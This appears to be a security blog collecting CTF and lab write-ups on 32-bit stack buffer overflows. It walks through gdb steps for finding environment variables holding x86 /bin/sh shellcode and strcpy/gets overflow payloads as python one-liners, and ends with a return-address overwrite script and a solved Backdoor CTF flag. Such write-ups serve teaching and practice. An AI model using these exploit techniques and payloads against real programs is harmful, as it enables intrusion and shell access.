Finding the Environment Variables on the Stack

Two weeks back while working on a exploitation challenge, I found a method to locate the environment variables on the stack using a debugger(gdb). As you all know, environment variables store dynamic values ( mostly PATH ) and the running processes use them to install files, find profile settings etc. You can list the environment variables in your Linux machine using the env command,

➜ ~ [0] env



SESSION=Lubuntu ANDROID_SDK=/usr/share/android-sdk/sdk LANG=en_US.UTF-8 (stripped)

Here is one example of an environment variable,

➜ ~ [0] echo $HOME


We usually keep the shell code in a environment variable (say HOME) and we overwrite the program’s return address with environment variable’s address, which would spawn a shell ( /bin/sh ). This is how we export a shell code into an environment variable,


The shell code in the picture works for x86 binaries. I would advice you to find a suitable shell code for your architecture from shellstorm. I added 19 bytes of NOP sled (\x90) in the beginning of the shell code. Now will look how to find the $HOME variable’s address inside the debugger. Below is the general method,

(gdb ) x/s *((char **)environ+i), where i = 0 to n.

Some examples,

(gdb) x/s *((char **)environ+0)

0xffffd67d: “XDG_SEAT_PATH=/org/freedesktop/DisplayManager/Seat0”

(gdb) x/s *((char **)environ+1)

0xffffd6b1: “XDG_CONFIG_DIRS=/etc/xdg/lubuntu:/etc/xdg/xdg-Lubuntu:/usr/share/upstart/xdg:/etc/xdg”

(gdb) x/s *((char **)environ+2)

0xffffd707: “SESSION=Lubuntu”

(gdb) x/s *((char **)environ+50)

0xffffdd70: “HOME=”, ‘\220’ , “\35330^\211v\b1\300\210F\a\211F\f\211\363\215N\b\215V\f\260\v̀\350\343\377\377\377/bin/sh”

\220 represents the NOP sleds ( \x90 in hex). The method mentioned above is well known and I have often noticed in the internet. But it will not work when the binaries are stripped. i.e the debugging information will be removed. Binaries can be stripped using this command,

$gcc -s <binary_name>

So the given binary was stripped. The method mentioned above didn’t help me to find the address. Only option left was to find it on my own. Understanding the stack layout (see the picture below) helped me to find those addresses. I made a rough layout of the stack in MS OneNote, please let me know if you find anything peculiar in the picture. I would like to modify.

Stack_Layout   As you could see from the layout, the environment variables are 16 bytes (0x10) from the base pointer (ebp). Since the binary is stripped, I found the main() function’s address from __libc_start_main(). Here is my alternate solution to find to environment variables on the stack. The logic looks something like this,

mov    0x10(%ebp),%eax

mov    (%eax),%eax

%eax will have the 1st environment variable. To find the next,

mov    0x10(%ebp),%eax

add    $0x4,%eax

mov    (%eax),%eax

Adding 4 bytes every time will give you the address for the next environment variable. See below how it is done in gdb,

(gdb) x/wx $ebp+0x10

0xffffd3c8: 0xffffd460

(gdb) x/wx 0xffffd460   –  **env

0xffffd460: 0xffffd659

(gdb) x/s 0xffffd659      –  env[0]

0xffffd659: “XDG_SEAT_PATH=/org/freedesktop/DisplayManager/Seat0”

(gdb) x/wx 0xffffd460+4 

0xffffd464: 0xffffd68d

(gdb) x/s 0xffffd68d     –  env[1]

0xffffd68d: “XDG_CONFIG_DIRS=/etc/xdg/lubuntu:/etc/xdg/xdg-Lubuntu:/usr/share/upstart/xdg:/etc/xdg”

(gdb) x/wx 0xffffd460+8

0xffffd468: 0xffffd6e3

(gdb) x/s 0xffffd6e3     –  env[2]

0xffffd6e3: “SESSION=Lubuntu”

(gdb) x/s 0xffffdd70     –  env[50] – HOME variable (Shell cdode)

0xffffdd70: “HOME=”, ‘\220’ , “\35330^\211v\b1\300\210F\a\211F\f\211\363\215N\b\215V\f\260\v̀\350\343\377\377\377/bin/sh”

By this way I found the location of the HOME environment variable, where I placed the shell code. P.S The address you get here and the address outside gdb are different. If you want to exploit a bug outside gdb, then you may have to use this program (below), disassemble it to find the address. Additionally, adding NOP sleds before the shell code is much safer.

#include <stdio.h>  
#include <stdlib.h>

int main () 
    printf("HOME : %s\n", getenv("HOME")); 
    return 0; 


Buffer Overflow using strcpy()

I tried few buffer overflow challenges last week and here is my writeup on those. I don’t like to mention the challenge website name, since this writeup may mislead beginners like me. If you are trying these binaries, I would recommend you, not to load the binaries in IDA hex rays. This is severely going to affect your reverse engineering skills. The x86 binaries I have shared with you in this article has stack protection disabled with permission 775. The goal of the challenges will be either to get a secret message or getting a shell.

Overflow 1

Click here to download the binary.

Verify the md5 checksum: a8472c471b23da84769669cd1506d880.

When you just run the binary it will not print anything to stdout. Let’s load it in a debugger and will understand the assembly.


Quiet clear, the program expects a command line input.

8(%ebp) == ebp+8 –> argc

0xc(%ebp) == ebp+12 –> argv

Now will try running it again along with an argument “Hello”.

(gdb) run Hello
Starting program: challenge1 Hello
The secret is 0
[Inferior 1 (process 14492) exited normally]
Well we have to control a variable. So, we need to identify the value which is compared and the variable(can also be an array) to control the output. When you go further, you can see a call made to function vuln(). The argument to the vuln() function is our input, i.e argv[1]. Let us disassemble the function and see what’s going on,


Key points from the assembly,

1. There is a function strcpy() which leads to buffer overflow vulnerability.

2. A check is made at 0x08048531, if a variable == “0xc0deface” then we get a shell. (Disassemble give_shell and see)

We need to overwrite the variable with the value “0xc0deface” in order to get a shell.

Here is the idea,

1. Find out the buffer’s address

2. Find out the variable’s address.

3. Find the number of bytes necessary to overwrite the variable.

Here is the technique to find the buffer address,

char *strcpy(char *dest, const char *src);

Arguments are pushed from right to left in the stack. *dest is our buffer and *src is our argv[1] -> “Hello”.

0x0804851f <+13>:    mov    0x8(%ebp),%eax

%eax should contain our argv[1]’s address. Check that out by inserting a breakpoint after this instruction.


You could see the “Hello” string which we passed as an argument. It’s now confirmed it is argv[1]. Similarly after this instruction eax register must contain the buffer’s address,

0x08048526 <+20>:    lea    -0x1c(%ebp),%eax

Put a break point in the next instruction and find the buffer address in %eax. I got the buffer address to be 0xffffd2ac. Yours might be different.  Now we need to find the variable’s location. See these instructions,

0x08048531 <+31>:    cmpl   $0xc0deface,-0xc(%ebp)

0x08048538 <+38>:    jne    0x8048541 <vuln+47>

0x0804853a <+40>:    call   0x80484dd

When the variable at the location ebp+12 is equals 0xc0deface we get a shell else the program will simply exit. Find out the ebp’s value after giving “info registers” and add 12 to the resulting address which would give the address of the variable we need to over write with 0xc0deface. Now we have the buffer address and the address of the variable. Subtract (variable’s address – buffer’s address) to get the number of bytes required to reach the variable.


The screen shot initially shows the register contents from where I found the buffer’s address in eax register. Then I found ebp and I did ebp-0xc to find the location of the variable, then I computed the bytes required to reach the variable from the buffer. So it seems 16. Now will overwrite and will spawn a shell. Remember the value to be overwritten is “0xc0deface” and this is an intel architecture, hence the input has to be in little endian format. So 0xc0deface has to be given as \xce\xfa\xde\xc0. Here is the exploit : ./challenge1 $(python -c “print ‘a’*16+’\xce\xfa\xde\xc0′”)


** End of Writeup 1 **

Overflow 2

Download the binary from here. Get a shell.

MD5 Checksum of the binary : c2c3707a692d945d581dddc88bc6c125

When you run it, the binary will not produce any output. Let us disassemble and see the assembly. Will start with the main function.


The program checks if we are providing at least one argument and it passes the command line argument to a function called vuln(). Next will disassemble the vuln function,

This function copies our CLA to a buffer using strcpy(), which is vulnerable to buffer overflow attack. Put a break point at the address 0x080484f2 and examine the %eax register.

Address of the buffer : 0xffffd2dc

Return address is at : 0xffffd2f0

To just exploit this simple binary, you could store a shellcode on an environment variable and overwrite the return address with the environment variable’s address, which would end up in getting a shell. But in this binary, there is a hidden function ( give_shell()) which you could identify using objdump and by using the gdb itself.


Address of the give_shell function is : 0x080484ad

This function will give you a shell,

(gdb) x/s 0x80485b0
0x80485b0:    “/bin/sh -i”

Now we don’t have to use environment variables and shell codes to spawn a shell. We just have to overwrite the return address of vuln() function with address of give_shell() function. Number of bytes between the buffer and return address in vuln() function is 20 bytes.

(gdb) print 0xffffd2f0-0xffffd2dc
$1 = 20

Here is how you can get a shell,


** End of Writeup 2 **

Overflow 3

Download the binary from here.

MD5 Checksum of the binary: b8765e897e9cc1d6e6648779efdf11bb

Running the binary displays this message, “Usage: stack_overwrite [str]” . When we run with an argument it says we lose.

➜  Binary [1] ./overflow3 hello                                                   
win = 0
Sorry, you lose.

The objective will be clear when you see the variable name and the output. The challenge is about buffer overflow and we have to control the variable “win” i,e change the variable “win” to complete this challenge. Let’s look into the binary by disassembling the main function,


The program initially calls geteuid and setresuid() which sets the real, effective and group IDs. There is a call made to a function vuln() which passes 0 and the CLA as arguments. Here is the assembly of vuln() function,


You could see our command line argument is copied to a buffer using strcpy(). Little bit below, you can see  there is a comparison made just after the printf() call. This could be win variable’ location. Examine the arguments passed to the printf() function which could give some clues (Do it by yourself). Put a break point at (0x08048572), the next instruction i.e after the comparison has been made. Now find out the address of ebp-4 which should give the location of the variable “win”.

(gdb) p/x $ebp-0x4
$1 = 0xffffd2dc

Now find the address of the buffer. Run the program after putting a break point after the strcpy() function. You will find the address of the buffer in %eax register.

Address of the buffer: 0xffffd29c

No of bytes needed to overwrite the win variable,

(gdb) print 0xffffd2dc-0xffffd29c
$3 = 64

Now here is the exploit,

$ /overflow3 $(python -c ‘print “a”*64+”\x01″‘)

You got the shell!


Backdoor CTF 2015 echo writeup

I made a rough outline of the binary file given to us,


{    Reads a file called flag.txt and writes to stdout. flag.txt is stored in the server; }


{    Gets the user input and displays back the input in stdout; }


{    calls the test() function;    }

Our task would be to:

1. Overflow the buffer using gets()

2. Find out the number of bytes between buffer and the return address.

3. Overwrite the return address of test() function to sample() function’s address, which would eventually return us the contents of flag.txt

You may find different addresses when you work out, since I changed the permission of the binary to 777. To get the flag, you should not be changing the permissions to 777. When you run the script please give the return address to be 0x0804857d instead of 0x0804854d. The explanation given below is done after changing the permission to 777.

The problem was not clear initially, as the sample() function was not called either from the main() or from the test() function. I found the sample() function when I tried to run objdump on the given binary.


Here is the screenshot of sample function when the permission of the binary is not changed.

Our next function is test(), where we can find the gets() function, which is vulnerable to buffer overflow. Now will test the vulnerability before proceeding further.

➜ backdoor [139] ./echo

ECHO: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
[1] 4671 segmentation fault (core dumped) ./echo

Well it worked. Here is the test function’s assembly code,

(gdb) disas test

Dump of assembler code for function test:
0x080485c0 <+0>: push ebp
0x080485c1 <+1>: mov ebp,esp
0x080485c3 <+3>: sub esp,0x58
0x080485c6 <+6>: lea eax,[ebp-0x3a]  <—— target!
0x080485c9 <+9>: mov DWORD PTR [esp],eax
0x080485cc <+12>: call 0x80483d0 <gets@plt>
0x080485d1 <+17>: mov eax,ds:0x804a034
0x080485d6 <+22>: lea edx,[ebp-0x3a]
0x080485d9 <+25>: mov DWORD PTR [esp+0x8],edx
0x080485dd <+29>: mov DWORD PTR [esp+0x4],0x80486ab
0x080485e5 <+37>: mov DWORD PTR [esp],eax
0x080485e8 <+40>: call 0x8048420 <fprintf@plt>
0x080485ed <+45>: leave
0x080485ee <+46>: ret
End of assembler dump.

Now will find the address of the buffer by analyzing the stack contents by putting a break point after the gets() function call (i.e at 0x080485d1).

(gdb) b *0x080485d1
Breakpoint 1 at 0x080485d1
(gdb) r


Breakpoint 1, 0x080485d1 in test ()

Will now inspect the address stored in eax, which must be our buffer.


‘a’ repeats 67 times so this confirms that buffer’s address (0xffffd24e) is stored in eax. Our next aim is find the address of saved eip (a.k.a return address). This can be done by seeing the frame contents in gdb. “info frames or just i <space> f”

(gdb) i f
Stack level 0, frame at 0xffffd290:
eip = 0x80485d1 in test; saved eip = 0x61616161
called by frame at 0xffffd294
Arglist at 0xffffd288, args:
Locals at 0xffffd288, Previous frame’s sp is 0xffffd290
Saved registers:
ebp at 0xffffd288, eip at 0xffffd28c

Look at the saved eip’s value -> 0x61 corresponds to “a”. This means we have overflowed the buffer and overwritten the return address. Now we don’t want “a” i.e 0x61 in our saved eip, instead we want to store the sample() function’s address. Sample function address can be found at 0x0804854d. The saved eip’s location is at 0xffffd28c (see above).  To overwrite the return address with our sample function’s address, we will subtract the buffer address from the saved eip, which will give the number of bytes we need to overflow.

(gdb) print 0xffffd28c-0xffffd24e
$1 = 62

So we have to enter 62 “a”s followed by the sample() function’s address for a successful exploitation. Here is the script which was written by my teammate( 😛 😛 hacker), which helped us to get the flag.


from struct import pack

padding = "A"*62
sample = 0x0804857d #Script will work with 0x0804857d since I changed the permissions locally.

def main():
 payload = padding
 payload += pack("<I", sample)
 print payload

if __name__ == "__main__":


So the flag is 96f674623c2c378f89700aa46f02cf3b311489f0fac6fd5885d4bc1a129a. Credit goes to you as well b3h3m0th 😛